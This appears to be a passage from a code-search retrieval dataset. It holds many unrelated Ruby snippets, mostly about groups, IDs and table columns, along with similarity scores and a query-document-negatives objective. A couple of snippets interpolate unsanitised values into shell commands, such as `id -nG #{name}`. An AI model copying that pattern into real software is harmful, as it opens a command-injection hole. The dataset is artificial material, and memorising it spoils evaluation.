"def bulk_params\n params.require(:group_id)\n params.permit(:group_id, :emails)\n end",
"def ids\n options[:id][1..-2].split(\",\").map(&:to_i)\n end",
"def determine_group_ids(group_names)\n return nil if group_names.nil?\n return nil if group_names.count <= 0\n\n groups_json = read\n return nil if groups_json.nil?\n\n matched_groups = Set.new\n\n groups_json.each do |group|\n\n group_name = group[\"name\"]\n\n # TODO: I'm going to bet that adding a group object to the Set will not\n # work as I'd like.\n group_names.each do |group_name_to_match|\n\n m = group_name.match(/#{group_name_to_match}/)\n matched_groups.add(group) unless m.nil?\n\n end\n\n end\n\n matched_groups\n end",
"def edit_groups_string\n edit_groups.join(', ')\n end",
"def watcher_group_ids_with_uniq_ids=(group_ids)\n if group_ids.is_a?(Array)\n group_ids = group_ids.uniq\n end\n send :watcher_group_ids_without_uniq_ids=, group_ids\n end",
"def get_groups\n `id -nG #{name}`.split(' ')\n end",
"def edit_groups_string=(groups)\n self.edit_groups = groups.split(/[\\s,]+/)\n end",
"def group_params\n params.require(:group).permit(:name, :group_image, user_ids: [])\n end",
"def group_ids_by_name\n reversed = assignment.groups.pluck(:group_name, :id).to_h\n respond_to do |format|\n format.xml do\n render xml: reversed.to_xml(root: 'groups', skip_types: 'true')\n end\n format.json do\n render json: reversed.to_json\n end\n end\n end",
"def group_get_info(external_group_ids: nil, group_ids: nil, trace: false)\n if group_ids != nil\n group_query = \"{\\\".tag\\\":\\\"group_ids\\\",\\\"group_ids\\\":[\\\"#{group_ids.join('\",\"')}\\\"]}\"\n elsif external_group_ids != nil\n group_query = \"{\\\".tag\\\":\\\"group_external_ids\\\",\\\"group_external_ids\\\":[\\\"#{external_group_ids.join('\",\"')}\\\"]}\"\n else\n return nil\n end\n dropbox_query(query: '2/team/groups/get_info', query_data: group_query, trace: trace)\n end",
"def updatedb_file_group(file)\n meta = updatedb_file_ls(file)\n if meta.class.to_s == 'String'\n group = meta.split(\" \")\n group\n elsif meta.class.to_s == 'Array'\n group = meta[3]\n group\n else\n nil\n end\n end",
"def get_files(file_ids)\n file_ids = [file_ids] unless file_ids.is_a? Array\n debug \"DivShare.get_files(): #{file_ids.class}\"\n files = get_user_files\n files.delete_if {|f| file_ids.include?(f.file_id) == false}\n end",
"def group_ids(*ids, **)\n ids.sort!.uniq!\n ids\n end",
"def is_in_group_url\n returnGroup = []\n group = query_root_node(\"fao:isInGroup/@rdf:resource\", @@NAMESPACES)\n if !group.nil?\n group.each do |entry|\n returnGroup << entry.to_s\n end\n end\n returnGroup\n end",
"def get_group_id(group_set_id, group_name)\n list_groups_in_group_set = HTTParty.get(\n \"#{$canvas_url}/api/v1/group_categories/#{group_set_id}/groups\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n group_data = list_groups_in_group_set.parsed_response\n group_id = nil\n\n group_data.each do |group_data_info|\n if group_data_info[\"name\"] == group_name\n group_id = group_data_info[\"id\"] \n end\n end\n\n return group_id\nend",
"def get_group(string); end",
"def multi_ids_request?\n params[multi_id_key] && params[multi_id_key].include?(',')\n end",
"def groups_from_string(groups_string)\n unless groups_string.blank?\n groups = smart_split groups_string # split on comma, remove white space\n return groups.map {|g| Group.find_or_create_by_group_name(g, :abbrev => g)}.uniq\n end \n end",
"def list_groups(client, options)\n if !options[:directory].nil?\n directory = client.directories.get options[:directory]\n groups = directory.groups\n else\n puts \"Missing arguments\"\n return\n end\n\n groups.each do |group|\n print_group(group)\n end\nend",
"def list_groups(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'ListGroups'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :marker\n\t\t\targs[:query]['Marker'] = optional[:marker]\n\t\tend\n\t\tif optional.key? :max_items\n\t\t\targs[:query]['MaxItems'] = optional[:max_items]\n\t\tend\n\t\tself.run(args)\n\tend",
"def group_member_ids\n member_ids(\"Group\")\n end",
"def group_ids\n [Ecircle.client.find_memberships_by_email(:email => email)].flatten.compact\n end",
"def locate_many(gids, options = {})\n if (allowed_gids = parse_allowed(gids, options[:only])).any?\n locator = locator_for(allowed_gids.first)\n locator.locate_many(allowed_gids, options)\n else\n []\n end\n end",
"def selected_ids(param_name)\n @selected_ids = params[param_name] || params[:selected_ids]\n if(@selected_ids && @selected_ids.kind_of?(Array))\n @selected_ids = @selected_ids.join(\",\") \n end\n @selected_ids = @selected_ids.split(',')\n end",
"def group_ids\n groups.pluck(:id)\n end",
"def get_group\n send_request(FUNCTION_GET_GROUP, [], '', 4, 'k4')\n end",
"def share_to_group_params\n\t\t\t params.permit(:bookmark_id, :group_ids => [])\n\t\t\tend",
"def GetGroup id\n\n APICall(path: \"groups/#{id}.json\")\n\n end",
"def ordered_file_set_ids\n results = ActiveFedora::SolrService.query(\n \"{!field f=has_model_ssim}FileSet\",\n fl: \"id\",\n fq: \"{!join from=ordered_targets_ssim to=id}id:\\\"#{id}/list_source\\\"\")\n results.flat_map { |x| x.fetch(\"id\", []) }\n end",
"def getAntList(group)\n cmd = \"/home/obs/ruby/bin/fxconf.rb sals #{group}\";\n return `#{cmd}`.chomp.gsub(\" \", \",\");\nend",
"def postGroupBulk_ingest( group_id, filedata, category_type)\n params = Hash.new\n params['group_id'] = group_id\n params['filedata'] = filedata\n params['category_type'] = category_type\n return doCurl(\"post\",\"/group/bulk_ingest\",params)\n end",
"def get_group_id(group_set_id, splitted_group_name)\n group_data_arr = Array.new\n\n @url = \"http://#{$canvas_host}/api/v1/group_categories/#{group_set_id}/groups\"\n puts \"@url is #{@url}\"\n \n @getResponse = HTTParty.get(@url, :headers => $header)\n puts(\" GET to get groups in a group set has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n \n if $link_parser.parse(@getResponse).by_rel('next')\n group_data_arr.append(@getResponse.parsed_response)\n\n while $link_parser.parse(@getResponse).by_rel('next')\n @url = $link_parser.parse(@getResponse).by_rel('next').target\n puts \"@url is #{@url}\"\n\n @getResponse = HTTParty.get(@url, :headers => $header)\n puts(\" GET to get groups in a group set has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n \n group_data_arr.append(@getResponse.parsed_response)\n end\n\n group_data_arr.each { |group_data|\n group_data.each do |group_data_info|\n if group_data_info[\"name\"] == splitted_group_name\n return group_id = group_data_info[\"id\"] \n end\n end\n }\n else\n group_data = @getResponse.parsed_response\n group_id = nil\n \n group_data.each do |group_data_info|\n if group_data_info[\"name\"] == splitted_group_name\n group_id = group_data_info[\"id\"] \n end\n end\n\n return group_id\n end\nend",
"def send_sample_file(file_name, arg=[])\n #data = args.join(',').split(',')\n file = CSV.generate do |line|\n arg.each do |element|\n line << element\n end\n end\n\n send_data(file, \n :type => 'text/csv;charset=utf-8;header=present', \n :disposition => \"attachment;filename=#{file_name}_#{Time.now.strftime('%d%m%y-%H%M')}.csv\")\n end",
"def share_to_group_params\n params.permit(:bookmark_id, :group_ids => [])\n end",
"def requested_groups\n @request.empty? ? GROUPS : select_groups\n end",
"def group_ids=(ids)\n ids.each do |group_id|\n if group_id.presence\n group = ::Burlesque::Group.find(group_id)\n self.groups << group unless self.groups.include?(group)\n end\n end\n\n to_deletes = []\n self.groups.each do |group|\n to_deletes << group unless ids.include?(group.id) or ids.include?(group.id.to_s)\n end\n\n to_deletes.each do |group|\n self.groups.delete(group) if self.group?(group)\n end\n end",
"def file_set_ids\n @file_set_ids ||= Hyrax::SolrService.query(\"{!field f=has_model_ssim}FileSet\",\n rows: 10_000,\n fl: Hyrax.config.id_field,\n fq: \"{!join from=ordered_targets_ssim to=id}id:\\\"#{id}/list_source\\\"\")\n .flat_map { |x| x.fetch(Hyrax.config.id_field, []) }\n end",
"def groups()\n return MicrosoftGraph::Groups::GroupsRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def afp_grouping\n return nil unless wire_id == 2\n file_identifier.sub(/\\d+/, '')\n end",
"def item_field_group_get(args = { }, options = { })\n _request = Requests::BaseRequest.new(\n args,\n {\n :http_path => '/item/#{path_arguments[:item_id]}/field-group',\n :http_method => :get,\n :parameters => [\n { :name => :item_id, :send_in => :path, :required => true },\n ]\n }.merge(options)\n )\n process_request(_request, options)\n end",
"def group_ids\n @group_ids ||= current_user.group_ids\n end",
"def asset_ids(id)\n monograph = Hyrax::PresenterFactory.build_for(ids: [id], presenter_class: Hyrax::MonographPresenter, presenter_args: nil).first\n return if monograph.blank?\n\n docs = monograph.ordered_member_docs\n return if docs.blank?\n\n ids = []\n docs.each do |doc|\n fp = Hyrax::FileSetPresenter.new(doc, nil)\n next if fp.featured_representative?\n next if fp.id == monograph.representative_id\n next if Sighrax.tombstone?(Sighrax.from_presenter(fp))\n ids << fp.id\n end\n\n ids.join(\",\")\n end",
"def get_ids(array)\n ids = \"(\"\n array.each do |me|\n ids << me.id.to_s + \",\"\n end\n ids = ids.chomp(\",\")\n ids = ids + \")\"\n return ids\n\n end",
"def group_params\n params.require(:group).permit(:org_id, :name, :description, permission_ids: [], user_ids: [])\n end",
"def list_group\n RequestListGroup.where(:request_id => id).last\n end",
"def group_call(params)\n path = @version + '/Call/Group/'\n method = 'POST'\n return request(path, method, params)\n end",
"def request_chunks(id)\n @gateway.send_request_members(id, '', 0)\n end",
"def get_group_set_id(group_set_name) \n list_group_sets = HTTParty.get(\n \"#{$canvas_url}/api/v1/courses/#{$canvas_course_id}/group_categories\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n group_set_data = list_group_sets.parsed_response\n group_set_id = nil \n\n group_set_data.each do |group_set_info|\n if group_set_info[\"name\"] == group_set_name\n group_set_id = group_set_info[\"id\"] \n end\n end\n\n return group_set_id\nend",
"def importAllGroups _args\n \"importAllGroups _args;\" \n end",
"def groups\n @groups ||= @csv.group_by { |row| row[:id] }\n end",
"def getEntityList_by_group_id( group_id, per_page, page)\n params = Hash.new\n params['group_id'] = group_id\n params['per_page'] = per_page\n params['page'] = page\n return doCurl(\"get\",\"/entity/list_by_group_id\",params)\n end",
"def get_file_groups globs\n \t\t pos = 1\n \t\t file_groups = { groups: [] }\n \t\t \n globs.each do |glob|\n # e.g { group1: { path: '*.*', files: [file1, file2]} }\n group_name = \"group#{pos}\"\n files_raw = Dir.glob(glob)\n\t\t\t\tfiles = files_raw.map do |f|\n\t \tURI.escape f\n end\n file_group_object = { name: group_name, path: glob, files: files , files_raw: files_raw}\n file_groups[group_name.to_sym] = file_group_object\n file_groups[:groups].push file_group_object\n pos += 1 \n end\n file_groups\n \t\tend",
"def get_users_in_group(group_id)\n list_users_in_group = HTTParty.get(\n \"#{$canvas_url}/api/v1/groups/#{group_id}/users\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n user_data = list_users_in_group.parsed_response\n\n arr_of_user_ids = Array.new\n\n user_data.each do |user_data_info|\n arr_of_user_ids.push user_data_info[\"id\"]\n end \n\n return arr_of_user_ids\nend",
"def groups\n\t\t\t@groups ||= begin\n\t\t\t\tFile.readlines(File.join(@svcdir, 'group')).map { |g| g.strip }\n\t\t\trescue Exception => e\n\t\t\t\t[]\n\t\t\tend\n\t\tend",
"def groups\n @groups ||= STDIN.read.split(\"\\n\\n\").map { |e| e.split.map { |f| f.chars } }\nend",
"def filter_owner(group_ids)\n group_ids = Array(group_ids)\n group_ids.delete(user.my_group_id)\n group_ids\n end",
"def identifiers\n request[:ids]\n end",
"def get_groups(params)\n send_get \"get_groups\", params\n end",
"def get_users_in_group(group_id)\n @url = \"http://#{$canvas_host}/api/v1/groups/#{group_id}/users\"\n puts \"@url is #{@url}\"\n\n @getResponse = HTTParty.get(@url, :headers => $header)\n puts(\" GET to get users in group has Response.code #{@getResponse.code} and getResponse is #{@getResponse}\")\n\n user_data = @getResponse.parsed_response\n set_of_user_ids = Set.new\n\n user_data.each do |user_data_info|\n set_of_user_ids.add user_data_info[\"id\"]\n end \n\n if @getResponse.empty?\n puts \"WARNING: No users in group from Active listener group 1 or Active listener group 2, program may not function correctly!\"\n end\n\n return set_of_user_ids\nend",
"def get_user_ids(fname=\"../id_list\")\n file = File.open(fname, \"r\")\n ids = []\n file.each do |line|\n ids += [Integer(line.split(\":\")[1].strip())]\n end\n file.close() \n return ids\nend",
"def set_file_group\n @file_group = SimplyPages::FileGroup.find(params[:id])\n end",
"def is_in_group_name\n returnGroup = []\n group = query_root_node(\"fao:isInGroup/@rdf:resource\", @@NAMESPACES)\n if !group.nil?\n group.each do |entry|\n returnGroup << entry.to_s.split(\"/\")[7]\n end\n end\n returnGroup\n end",
"def group_param_string\n @group_param_string ||= search.params.fetch_params_for(@key)\n end",
"def parse_msg_id_list(str, opt={})\n msg_id_list(str, opt)\n end",
"def email_group_params\n params.require(:email_group).permit(:name, :description, users_ids: [])\n end",
"def get_bookids_from_param(bookid_string)\n if bookid_string.blank? \n return []\n end\n return bookid_string.split(\",\")\n end",
"def send_user_list(path)\n path = path[1..-1]\n path = path[0..-2] if path.ends_with?(\"/\")\n results = []\n I3.directory.find_people(:groups, path).each do |uuid|\n p = I3.directory.read_person(uuid)\n result = I3::SharedObject.new\n result.account_name = p.account_name.to_s.downcase\n result.first_name = p.first_name.to_s\n result.last_name = p.last_name.to_s\n result.description = p.description.to_s\n results << result\n end #each\n I3.server.send_object(results)\n end",
"def asset_ids(id)\n score = Hyrax::PresenterFactory.build_for(ids: [id], presenter_class: Hyrax::ScorePresenter, presenter_args: nil).first\n return if score.blank?\n\n docs = score.ordered_member_docs\n return if docs.blank?\n\n ids = []\n docs.each do |doc|\n fp = Hyrax::FileSetPresenter.new(doc, nil)\n next if fp.featured_representative?\n next if fp.id == score.representative_id\n next if Sighrax.from_presenter(fp).tombstone?\n ids << fp.id\n end\n\n ids.join(\",\")\n end",
"def grouped(files); end",
"def group_request (v1_requests_params)\n req = Request.find(v1_requests_params[:id])\n @group = Group.where(id: v1_requests_params[:group_id]).first\n user = User.find(req.reciever_id)\n if v1_requests_params[:response]\n @group.users << user\n end\n @group\n end",
"def get_device_group_ids(device_group_names)\n query = {\n 'filter': \"displayName_in_#{device_group_names}\"\n }\n device_groups = query_api('device-groups', query)\n if device_groups['data'].nil? || device_groups['data'].size == 0\n nil\n else\n device_groups['data'].map { |group| group['id'] }\n end\n end",
"def list(response)\n requested_group = response.args[1]\n output = get_groups_list(response.args[1])\n if output.empty?\n response.reply(empty_state_for_list(requested_group))\n else\n response.reply(output.join(\"\\n\"))\n end\n end",
"def get_player_file_set_files(gamertag, id)\n gamertag = gamertag.gsub(' ', '%20')\n uri = ENDPOINT + \"file/sets/files/#{key}/#{gamertag}/#{id}\"\n data = JSON.parse(self.class.get(uri).body, :symbolize_names => true)\n Reach::Helper::convert_keys(data)\n end",
"def group_params\n params.require(:group).permit(:drive_robot_start, :drive_robot_end, :observe_control_start, :observe_control_end, :observe_robot_start, :observe_robot_end, :passport_number, :in_gallery_start, :in_gallery_end)\n end",
"def update_multiple\n params[:group_ids].each do |group_name|\n Admin::Group.find(group_name).delete\n end\n \n flash[:notice] = \"Successfully deleted groups: #{params[:group_ids].join(\", \")}\"\n redirect_to admin_groups_path\n end",
"def update_multiple\n params[:group_ids].each do |group_name|\n Admin::Group.find(group_name).delete\n end\n \n flash[:notice] = \"Successfully deleted groups: #{params[:group_ids].join(\", \")}\"\n redirect_to admin_groups_path\n end",
"def group_params\n params[:group]\n end",
"def group_params\n params[:group]\n end",
"def group_params\n params[:group]\n end",
"def parseGId(link, gIds)\n\t\tlink.scan(/=(\\d+)$/) do | id |\n\t\t\tgIds << id\n\t\tend\n\tend",
"def list(\n filter,\n *args,\n deadline: nil\n )\n return @remote_identity_groups.list(\n filter,\n *args,\n deadline: deadline,\n )\n end",
"def groups(params = {})\n @api.get(\"#{@api.path}/List/#{@id}/Groups\", params: params)\n end"
] |
[
"0.61319846",
"0.5798396",
"0.5795682",
"0.5773987",
"0.57076406",
"0.5674112",
"0.55216956",
"0.5487051",
"0.5426723",
"0.5388313",
"0.5388313",
"0.5386889",
"0.52791893",
"0.52576816",
"0.5228913",
"0.52208143",
"0.51673096",
"0.5160553",
"0.5158224",
"0.51313215",
"0.51261437",
"0.5114848",
"0.511267",
"0.5111124",
"0.5103924",
"0.51011264",
"0.5073804",
"0.5064262",
"0.50469625",
"0.5037181",
"0.50333923",
"0.5025797",
"0.5020206",
"0.50199413",
"0.501459",
"0.500261",
"0.49909523",
"0.49871424",
"0.4979246",
"0.4975578",
"0.49736997",
"0.49647093",
"0.49573618",
"0.49326345",
"0.4920069",
"0.49194512",
"0.49189788",
"0.49162796",
"0.49103191",
"0.49042714",
"0.4889567",
"0.48871192",
"0.48826304",
"0.48791474",
"0.48717475",
"0.4870943",
"0.48667312",
"0.48634484",
"0.48608246",
"0.48599565",
"0.48537835",
"0.4839976",
"0.4827537",
"0.48259324",
"0.482401",
"0.48231807",
"0.48174334",
"0.48155308",
"0.48108947",
"0.4803149",
"0.4801732",
"0.47989663",
"0.47938898",
"0.47879946",
"0.4773702",
"0.47684312",
"0.47607058",
"0.47542855",
"0.47499278",
"0.47487354",
"0.47485536",
"0.47379965",
"0.47321358",
"0.47193223",
"0.47157982",
"0.4711361",
"0.47096416",
"0.46967316",
"0.4694585",
"0.46941286",
"0.46902272",
"0.46902272",
"0.46888304",
"0.46888304",
"0.46888304",
"0.4671268",
"0.46706668",
"0.4660097"
] |
0.5349069
|
13
|
Initializes a new Table instance with the specified columns. +columns+:: A list of Column instances representing the columns in the new table.
|
def initialize(*columns)
@columns = columns
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize( table, columns, opts = {} )\n @table = table\n @columns = [ *columns ]\n @opts = opts\n end",
"def initialize(columns, arel_table)\n @columns = columns.map do |column|\n OrderByColumnData.new(column, \"order_by_columns_#{column.attribute_name}\", arel_table)\n end\n end",
"def initialize( columns, table_name, opts = {} )\n @columns = [ *columns ]\n @table_name = table_name\n @opts = opts\n if key = opts[ :key ]\n opts[ :key ] = [ *key ]\n end\n end",
"def columns= columns\n columns.each { |c| c.table = self }\n @columns = columns\n end",
"def initialize(columns)\n @columns = columns\n @compass = compass\n end",
"def initialize(table_name, column_names)\n @table_name = table_name\n @column_names = column_names\n @sql_inserts = []\n end",
"def initialize(table, columns, key = nil)\n @columns = columns\n @table = table\n @key = self.columns.column_mapper.map(key)\n\n @column_type = if @key && @key.to_s[\"date\"]\n :date\n elsif @key && @key.to_s[/\\?\\z/]\n :boolean\n else\n :string\n end\n end",
"def set_columns(new_columns)\n @columns = new_columns\n def_column_accessor(*new_columns) if new_columns\n @columns\n end",
"def set_columns(new_columns)\n @columns = new_columns\n def_column_accessor(*new_columns) if new_columns\n @columns\n end",
"def initialize(columnNames)\n @columnNames = columnNames\n end",
"def table(*columns, &block)\n rows = Array.new\n yield(rows)\n\n @io << tag(:table, {:id => 'mytable', :cellspacing => 0}) do |content|\n if table_has_header?(columns)\n content << tag(:tr) do\n columns.map { |col| tag(:th, col[:title]) }.join(\"\\n\")\n end\n end\n\n odd = false\n rows.each do |row|\n odd = !odd\n content << tag(:tr) do\n if odd\n row.map { |cell| tag(:td, cell, :class => 'alt') }.join(\"\\n\")\n else\n row.map { |cell| tag(:td, cell) }.join(\"\\n\")\n end\n end\n end\n end\n\n end",
"def add_table(rows, columns, options = {})\n @nodes << Table.new(page_config, rows, columns, options)\n end",
"def initialize(table, column)\n @table, @column = table, column\n end",
"def initialize(columns, options = {})\n super\n \n @sortable = options[:sortable] || false\n @infixes = options[:infixes] || false\n @prefixes = options[:prefixes] || false\n end",
"def initialize(collection, options = {}, &block)\n puts \"INITIALIZING TABLE with options = #{options.inspect}\"\n @column_names = []\n @columns = {}\n @collection = collection \n @options = options\n yield(self) if block_given?\n end",
"def define_table(table_name, columns, force)\n if !db_connection.table_exists?(table_name) || force\n db_connection.create_table(table_name, force: true) do |t|\n columns.each do |name, type|\n t.send(type, name)\n end\n end\n end\n end",
"def initialize(columns, size_or_array=nil)\n size_or_array ||= columns.size \n\n case size_or_array\n when Integer\n @arr = Array.new(size_or_array)\n when Array\n @arr = size_or_array\n else\n raise TypeError, \"parameter must be either Integer or Array\"\n end\n\n # The '@column_map' is used to map column names to integer values so\n # that users can reference row values by name or number.\n\n @column_map = {}\n @column_names = columns\n columns.each_with_index { |c,i| @column_map[c] = i }\n super(@arr)\n end",
"def initialize(columns, options = {})\n @columns = Array(columns)\n @associations = {}\n \n raise \"Cannot define a field with no columns. Maybe you are trying to index a field with a reserved name (id, name). You can fix this error by using a symbol rather than a bare name (:id instead of id).\" if @columns.empty? || @columns.any? { |column| !column.respond_to?(:__stack) }\n \n @alias = options[:as]\n @type = options[:type]\n @faceted = options[:facet]\n end",
"def initialize_columns\n @columns = []\n valid_table = table.alias('valid_taxon_names')\n\n @columns.push({ header: 'ro', projected: rank_over(table, valid_table) })\n\n @columns.push({header: 'taxon_name_id', projected: table[:id].as('taxon_name_id') } )\n @columns.push({header: 'cached_valid_taxon_name_id', projected: table[:cached_valid_taxon_name_id].as('cached_valid_taxon_name_id') } )\n @columns.push({header: 'cached', projected: table[:cached].as('cached') } )\n @columns.push({header: 'cached_author_year', projected: table[:cached_author_year].as('cached_author_year') } )\n @columns.push({header: 'cached_is_valid', projected: table[:cached_is_valid].as('cached_is_valid') } )\n\n if fieldsets.include?('observations')\n @columns.push({header: 'otu_id', projected: otu_table[:id].as('otu_id') } )\n @columns.push({header: 'otu_name', projected: otu_table[:name].as('otu_name')} )\n end\n end",
"def initialize_table\n @total_rows.times do |row|\n row_array = Array.new(@total_columns, \"\")\n @reconstructed_table.push(row_array)\n end\n end",
"def create_table(table, **kwargs, &block)\n current_instructions << Instructions::CreateTable.new(\n **kwargs,\n table: table,\n columns_block: block,\n )\n end",
"def table(name, args = {}, &block)\n args[:base_columns] ||= columns\n table = Table.new(args, &block)\n tables << table\n singleton_class.send(:define_method, name) { return table }\n end",
"def initialize(attrs = nil)\n preinitialize(attrs)\n @attributes = attributes_from_column_definition\n self.attributes = attrs unless attrs.nil?\n end",
"def initialize(height = AppConfig.default_height, width = AppConfig.default_width)\n @table = Table.new height, width\n end",
"def sqlite3_create_tb(table_name, columns, primary_key, if_not_exist)\n if if_not_exist.downcase == \"n\"\n status = @dbm.table_exist?(table_name)\n @assert.table_already_exist(status, table_name, @dbh)\n end \n\n # Retrieve only the column names\n col_names = columns[0].keys\n\n table_spec_str = '('\n # col: Column name\n # columns[0][col][0]: Column type\n # columns[1][col][1]: Column nullable\n col_names.each {|col|\n col_type = columns[0][col][0]\n @assert.check_type(col_type)\n if col == primary_key\n table_spec_str.concat(\"#{col} #{col_type} PRIMARY KEY NOT NULL,\")\n else\n if columns[0][col][1].downcase == \"no\"\n table_spec_str.concat(\"#{col} #{col_type} NOT NULL,\")\n else\n table_spec_str.concat(\"#{col} #{col_type},\")\n end\n end\n }\n table_spec_str.chomp!(',')\n table_spec_str.concat(')')\n \n create_query = \"CREATE TABLE IF NOT EXISTS #{table_name} #{table_spec_str};\"\n @dbh.execute(create_query)\n\n return create_query + \"\\n\"\n end",
"def initialize(rows, rownames: nil, colnames: nil)\n @rows = rows\n @rownames = (rownames || Hash[*rows.length.times.map do |i| [i, i] end.flatten(1)]).to_ordered_hash\n unless colnames then\n colnames = {}\n rows.each do |row| row.keys.each do |colname| colnames[colname] = true end end\n colnames = colnames.keys\n end\n @colnames = colnames.collect do |colname| colname.to_s.to_sym end\n end",
"def table(*columns, &block)\n\n rows = Array.new\n yield(rows)\n\n # determine maximum cell widths\n max_cell_widths = rows.inject(Array.new(columns.length, 0)) do |result, row|\n lengths = row.map { |column| column.to_s.length }\n result.each_with_index { |length, index| result[index] = ([length, lengths[index]].max rescue length) }\n end\n columns.each_with_index { |col, index| col[:actual_width] ||= max_cell_widths[index] }\n\n # determine actual column width\n column_widths = columns.map do |column|\n if column[:width] == :rest\n nil\n elsif column[:width]\n column[:width]\n elsif column[:min_width]\n [column[:min_width], column[:actual_width]].max\n elsif column[:max_width]\n [column[:max_width], column[:actual_width]].min\n else\n column[:actual_width]\n end\n end\n\n if column_widths.include?(nil)\n fill_column = columns[column_widths.index(nil)]\n width_left = options[:width] - ((columns.length - 1) * (style[:cell_separator] ? 3 : 1)) - column_widths.compact.inject(0) { |sum, col| sum + col}\n column_widths[column_widths.index(nil)] = width_left\n end\n\n line(:green) if @style[:top_line]\n\n # Print table header\n if table_has_header?(columns)\n column_titles = []\n columns.each_with_index do |column, index|\n width = column_widths[index]\n alignment = (column[:align] == :right ? '' : '-')\n column_titles.push(colorize(\"%#{alignment}#{width}s\" % column[:title].to_s[0...width], :bold))\n end\n\n puts column_titles.join(style[:cell_separator] ? \" #{characters[:vertical_line]} \" : ' ')\n line(:green)\n end\n\n # Print the rows\n rows.each do |row|\n row_values = []\n columns.each_with_index do |column, index|\n width = column_widths[index]\n case column[:type]\n when :ratio\n if width > 4\n if column[:treshold] && column[:treshold] < row[index].to_f\n bar = ''\n bar << characters[:block] * (width.to_f * column[:treshold]).round\n bar << colorize(characters[:block] * (width.to_f * (row[index].to_f - column[:treshold])).round, :red)\n row_values.push(bar)\n else\n # Create a bar by combining block characters\n row_values.push(characters[:block] * (width.to_f * row[index].to_f).round)\n end\n else\n # Too few characters for a ratio bar. Display nothing\n row_values.push('')\n end\n else\n alignment = (columns[index][:align] == :right ? '' : '-')\n cell_value = \"%#{alignment}#{width}s\" % row[index].to_s[0...width]\n cell_value = colorize(cell_value, :bold, :brown) if columns[index][:highlight]\n row_values.push(cell_value)\n end\n end\n puts row_values.join(style[:cell_separator] ? \" #{characters[:vertical_line]} \" : ' ')\n end\n end",
"def initialize(table, column)\n @table = convert_identifier(table)\n @column = convert_identifier(column)\n freeze\n end",
"def create(data_={})\n Table.new(self, data_)\n end",
"def define_table(table_name, columns, force)\n if !ActiveRecord::Base.connection.table_exists?(table_name) || force\n ActiveRecord::Base.connection.create_table(table_name, force: true) do |t|\n columns.each do |name, type|\n t.send(type, name)\n end\n end\n end\n end",
"def initialize(cols)\n super()\n self.model = Gtk::TreeStore.new(*flatten_hash(cols).values)\n load_columns(cols)\n end",
"def initialize(rows = 0, columns = 0)\n resize_field rows, columns\n end",
"def initialize(table_name:, columns:, on_conflict:, into:)\n @columns = columns\n @into = into\n\n cols = []\n vals = []\n\n cols += columns\n vals += columns.each_with_index.map { |_, idx| \"$#{idx + 1}\" }\n\n timestamp_columns = SQL::Reflection.timestamp_columns(table_name) - columns.map(&:to_s)\n\n cols += timestamp_columns\n vals += timestamp_columns.map { \"now()\" }\n\n returning = into ? '*' : \"id\"\n\n @sql = \"INSERT INTO #{table_name} (#{cols.join(',')}) VALUES(#{vals.join(',')}) #{confict_handling(on_conflict)} RETURNING #{returning}\"\n end",
"def initialize(headers, &block)\n @transforms = []\n @filters = []\n @table = CSV::Table.new([])\n @headers = headers\n\n if block_given?\n block.arity == 1 ? yield(self) : instance_eval(&block)\n end\n\n self\n end",
"def initialize(line_writer, columns: nil, **args)\n unless line_writer.respond_to?(:<<)\n raise(ArgumentError, 'Stream must be a IOStreams::Line::Writer or implement #<<')\n end\n\n @tabular = IOStreams::Tabular.new(columns: columns, **args)\n @line_writer = line_writer\n\n # Render header line when `columns` is supplied.\n @line_writer << @tabular.render_header if columns && @tabular.requires_header?\n end",
"def initialize\n @columns = []\n @columns_lookup = []\n @rows = []\n @newline = \"\\r\\n\"\n end",
"def initialize(num_rows,num_columns)\n @num_rows = num_rows\n @num_columns = num_columns\n @rows = []\n for x in 1..num_rows\n fresh_row = Row.new(num_columns)\n @rows << fresh_row\n end\n end",
"def initialize(nodes, keys, column_size)\n @nodes = nodes\n @column_size = column_size\n @keys = keys\n @body = ''\n end",
"def initialize(metadata={})\n @table = {}\n\n case metadata\n when Hash\n update(metadata)\n else\n @table[:location] = metadata.to_s\n load_metadata\n end\n end",
"def initialize(table=Table.new(5,5))\n @table = table # again, no accessor, we dont know if we need to expose this yet.\n end",
"def initialize(column_models)\n @column_models = column_models.to_a\n\n # @return [Array<Array<String>>]\n header_names_without_padding = @column_models.collect { |column_model|\n column_model.name.split(column_model.separator)\n }\n\n # @return [Integer]\n max_header_names_without_padding_size = header_names_without_padding.collect(&:size).max || 0\n\n # @return [Array<Array<String, nil>>]\n @header_names_with_padding = header_names_without_padding.collect { |split_name|\n split_name + ::Array.new(max_header_names_without_padding_size - split_name.size) { nil }\n }.collect { |header_names|\n header_names.freeze\n }.freeze\n\n # @return [Array<Array<String, nil>>]\n headers = @header_names_with_padding.transpose.collect(&:freeze)\n\n super(headers)\n\n self.freeze\n end",
"def initialize(table={})\n @table = table\n end",
"def initialize(definitions)\n validate_not_blank(definitions)\n validate_array(definitions)\n validate_definition_instance(definitions[0])\n validate_array_items(definitions)\n @definitions = definitions\n @table_names = definitions.map { |d| d.table.name }\n self\n end",
"def set_raw_columns(cols)\n @columns = cols.collect { |args| Column.new(*args) }\n end",
"def initialize(lines, columns)\n\t\t@stack = Array.new()\n\t\t@lines = lines\n\t\t@columns = columns\n\n\t\t# We create and push the default hypothesis\n\t\tdefaultHypothesis = Hypothesis.new(nil, 0)\n\t\tdefaultGrid = Grid.new(lines, columns, defaultHypothesis)\n\t\tdefaultHypothesis.grid = defaultGrid\n\t\t@stack.push(defaultHypothesis)\n\tend",
"def initialize(table, columns, values, opts = {})\n @table = table.to_sym\n @opts = opts\n @sql_insert = ::MultiInsert::QueryBuilder.insert(table, columns, values, opts)\n end",
